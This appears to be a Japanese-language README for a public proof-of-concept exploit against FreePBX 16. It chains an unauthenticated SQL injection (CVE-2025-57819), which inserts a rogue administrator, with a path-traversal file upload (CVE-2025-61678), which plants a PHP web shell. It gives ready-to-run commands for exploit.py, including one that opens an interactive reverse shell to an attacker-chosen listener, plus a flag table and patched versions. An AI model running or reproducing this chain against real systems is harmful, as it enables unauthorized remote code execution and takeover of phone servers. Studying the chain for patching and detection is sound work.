
未認証のSQLインジェクションと任意ファイルアップロードのエクスプロイトチェーンで、FreePBX 16を標的とし、管理者作成とウェブシェル展開を介してリモートコード実行を達成します。
| CVE | コンポーネント | 影響 |
|---|
| CVE-2025-57819 | Endpoint module loader (brand パラメータ) | 認証不要のスタック型SQLインジェクション |
| CVE-2025-61678 | Endpoint Manager firmware uploader (fwbrand パラメータ) | 認証済み任意ファイルアップロード(パストラバーサル) |
ampusersテーブルにフルアクセス権を持つ新しい管理者を直接INSERTします。fwbrand内の../../../var/www/html/<dir>トラバーサルにより、PHP WebシェルをWebルートに書き込みます。FreePBX 16(Endpointモジュール 16.0.92 未満)。17.0.6 でも修正されています。修正済みリリースに更新してください。
# 単一コマンド
python3 exploit.py --rhost pbx.example.com --command "id"
# インタラクティブリバースシェル(pwntoolsによる自動リスナー)
python3 exploit.py --rhost pbx.example.com --lhost 10.0.0.5 --lport 4444
# プレーンHTTP / カスタムポート
python3 exploit.py --rhost pbx.example.com --http --rport 80 --command "uname -a"
| フラグ | 説明 |
|---|---|
--rhost | ターゲットホスト(必須) |
--rport | ターゲットポート(デフォルト 443) |
--http | HTTPSの代わりにHTTPを使用 |
--lhost / --lport | リバースシェルのコールバックアドレス |
--command | シェルの代わりに単一コマンドを実行 |
pip install requests pwntools
許可されたセキュリティテストおよび教育目的のみに使用してください。自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムでのみ使用してください。作者は誤用に対する一切の責任を負いません。
FreePBX · FreePBX 16 · FreePBX 16.0.40.7 · Sangoma PBX · Asterisk · CVE-2025-57819 · CVE-2025-61678 · 認証なしSQLインジェクション · スタック型クエリインジェクション · endpoint module · Endpoint Manager · 認証済みファイルアップロード · パストラバーサル · リモートコード実行 · RCE · PoC · exploit · VoIPセキュリティ
linkedin: ehxb · medium.com/@Ehxb · github 0xEhxb